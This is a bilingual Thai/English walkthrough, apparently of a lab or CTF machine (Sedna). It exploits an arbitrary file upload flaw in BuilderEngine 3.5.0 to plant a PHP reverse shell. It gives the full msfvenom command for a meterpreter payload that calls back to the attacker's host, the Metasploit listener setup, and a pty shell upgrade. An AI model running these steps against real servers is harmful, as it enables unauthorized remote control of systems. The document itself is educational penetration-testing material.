บทนำ (Overview)
บทความนี้กล่าวถึงตัวอย่างการอัพโหลดไฟล์ PHP shell เพื่อให้ได้มาซึ่ง Reverse shell โดยการที่ Upload ไฟล์ Shell ได้นั้นเนื่องจากที่ Web Application มีช่องโหว่ในการให้สิทธิใครก็ได้เข้ามา Upload ไฟล์ใด ๆ เข้าระบบ และนอกจากนี้เราสามารถตรวจสอบช่องโหว่ได้จากช่องโหว่ก่อนหน้า คือ How to discover Directory listing – Sedna
The main objective of this article is to describe how to upload the PHP shell to get the reverse shell through vulnerability of the web application. This vulnerability allows anyone to upload the file (any type) into the system and execute to connect the attacker’s machine.
ขั้นตอน (Steps)
- จากช่องโหว่ Directory Traversal เราพบว่ามีการใช้งาน BuilderEngine
From the directory traversal vulnerability, we could discover Builder Engine page.http://192.168.1.49/files/be_demo/blog/posts/dashboard%20welcome.jpg
- เมื่อทดลองไล่ แต่ละ folder และไฟล์พบว่ามี Version 3
And try to dig in each folders and files, we found version 3 was implemented.http://192.168.1.49/themes/default_theme_2015/description.txt
- ทำการค้นหาช่องโหว่พบว่ามีช่องโหว่ที่ Version 3.5.0 ทำให้สามารถ upload ไฟล์ใด ๆ ก็ได้ขึ้น Server
When research the vulnerability, we found exploit (40390) may could be used.https://www.exploit-db.com/exploits/40390/
- ให้ดาวน์โหลดไฟล์ดังกล่าวเพื่อใช้งาน
Download the exploit. - ทดลองเข้า IP เป้าหมายดูว่าเป็นไปได้ภาพหรือไม่
Review the target ip and url whether could be accessed. - จากนั้นเปลี่ยน IP ปลายที่ต้องการ Upload
Change the ip address of the exploit. - ให้ copy ที่เราแก้ไขแล้วไว้ที่ path /var/www/html/ จากนั้น Start server โดยใช้คำสั่งดังนี้
Copy the customized exploit and patse to /vat/www/html/ folder. Then start the apache service.service apache2 start
- เมื่อ Start เสร็จสิ้นเราสามารถเข้าถึงหน้าเว็บเพจได้ผ่านเว็บบราวเซอร์
If successful, we could access the web page of exploit.http://localhost/40390.php
- จากนั้นสร้าง PHP reverse shell ขึ้นมา สามารถติดตามได้จากบทความ How to upload the PHP Backdoor payload http://blog.itselectlab.com/?p=7136
Then, created the reverse php shell.ifconfig msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.43 LPORT=4444 -e php/base64 -f raw > shell.php
- เมื่อสร้างเสร็จสิ้นให้ upload ผ่าน หน้าเว็บที่เราตั้งขึ้นมา
Upload the shell we generated.
- ถ้าอัพโหลดเสร็จสิ้นไฟล์ shell ของเราจะไปอยู่ที่โฟลเดอร์ /files/
If successful, the php shell would be stored in /files/ folder. - เมื่อได้ “PHP backdoor” ไฟล์แล้วเราจะต้องมา “PHP listener” ไว้เพื่อเราการติดต่อจากเครื่องของเหยื่อรอไว้ก่อนด้วยโดยใช้คำสั่ง
Back to the attacker machine, enable the listener by using the commands:msfconsole use exploit/multi/handler set PAYLOAD php/meterpreter/reverse_tcp set LHOST 192.168.1.43 set LPORT 4444 exploit
- คลิกที่ Shell ของเราที่หน้าเว็บบราวเซอร์แล้วสังเกตจะพบการเชื่อมต่อมายัง Meterpreter
And then, click the php shell we uploaded and observed the meterpreter we enabled. - ใช้คำสั่งตามข้างล่างเพื่อเรียกใช้งาน Command prompt
If successful, we could use the victim command prompt as the following command:shell python -c 'import pty;pty.spawn("/bin/bash")'